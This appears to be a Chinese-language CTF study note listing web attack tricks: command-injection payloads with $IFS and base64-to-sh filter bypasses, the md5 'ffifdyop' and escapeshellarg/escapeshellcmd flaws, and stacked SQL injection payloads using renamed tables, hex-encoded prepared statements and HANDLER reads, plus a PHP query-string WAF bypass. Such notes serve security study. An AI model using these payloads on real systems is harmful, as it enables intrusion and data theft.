命令執行
https://www.cnblogs.com/wangtanzhi/p/12246386.html
空格繞過方式:
$IFS
${IFS}
$IFS$數字
<
<>
三種繞過方式:
1.sh
/?ip=127.0.0.1;echo$IFS$2Y2F0IGZsYWcucGhw|base64$IFS$2-d|sh
2.變量拼接
/?ip=127.0.0.1;a=g;cat$IFS$2fla$a.php
3.內聯注釋(將反引號命令的結果作為輸入來執行命令)
/?ip=127.0.0.1;cat$IFS$2`ls`
md5()漏洞
ffifdyop,這個點的原理是 ffifdyop 這個字符串被 md5 哈希了之后會變成 276f722736c95d99e921722cf9ed621c,這個字符串前幾位剛好是 ‘ or ‘6,
escapeshellarg()與escapeshellcmd()漏洞
<?php
$a="172.17.0.2' -v -d a=1";
$b=escapeshellarg($a);
$c=escapeshellcmd($b);
echo $a."<br/>".$b."<br/>".$c;
system($c);
?>
輸出
172.17.0.2' -v -d a=1
'172.17.0.2''' -v -d a=1'
'172.17.0.2''' -v -d a=1'
1.$a傳入的參數是172.17.0.2' -v -d a=1
2.經過escapeshellargs()處理后成為'172.17.0.2'' -v -d a=1' 即先對單引號轉義,再用單引號將左右兩部分括起來從而起到連接的作用。
3.經過escapeshellcmd()處理后成為'172.17.0.2''' -v -d a=1' 這是因為escapeshellcmd對以及最后那個不配對兒的引號進行了轉義
4.最后執行的是 '172.17.0.2''' -v -d a=1',由於中間的被解釋為而不再是轉義字符,所以后面的'沒有被轉義,與再后面的'配對兒成了一個空白連接符。
所以可以簡化為 172.17.0.2 -v -d a=1',即向172.17.0.2發起請求,POST 數據為a=1'。
這樣就能繞過過濾進行注入。
sql注入繞過關鍵字
獲取信息
show databases;
show tables;
show columns from `table_name`;
修改表名
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#
預編譯
1';
SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;
prepare execsql from @a;
execute execsql;#
另外,新知識,HANDLER ... OPEN
語句打開一個表,使其可以使用后續HANDLER ... READ
語句訪問,該表對象未被其他會話共享,並且在會話調用HANDLER ... CLOSE
或會話終止之前不會關閉
1';
HANDLER FlagHere OPEN;
HANDLER FlagHere READ FIRST;
HANDLER FlagHere CLOSE;#
preg_replace/e的命令執行漏洞
MYSQL特殊模式(set sql_mode=pipes_as_concat)
此模式下,輸出字符串可以進行拼接

PHP字符串解析特性(Easy Calc)
PHP將查詢字符串(在URL或正文中)轉換為內部$_GET或的關聯數組$_POST。例如:/?foo=bar變成Array([foo] => “bar”)。值得注意的是,查詢字符串在解析的過程中會將某些字符刪除或用下划線代替。例如,/?%20news[id%00=42會轉換為Array([news_id] => 42)。
假如waf不允許num變量傳遞字母:
http://www.xxx.com/index.php?num = aaaa //顯示非法輸入的話
那么我們可以在num前加個空格:
http://www.xxx.com/index.php? num = aaaa
這樣waf就找不到num這個變量了,因為現在的變量叫“ num”,而不是“num”。但php在解析的時候,會先把空格給去掉,這樣我們的代碼還能正常運行,還上傳了非法字符。
另外scandir()可列出目錄和文件,scandir(/)掃描目錄下所有文件,如果 / 被過濾,可以用char(47)繞過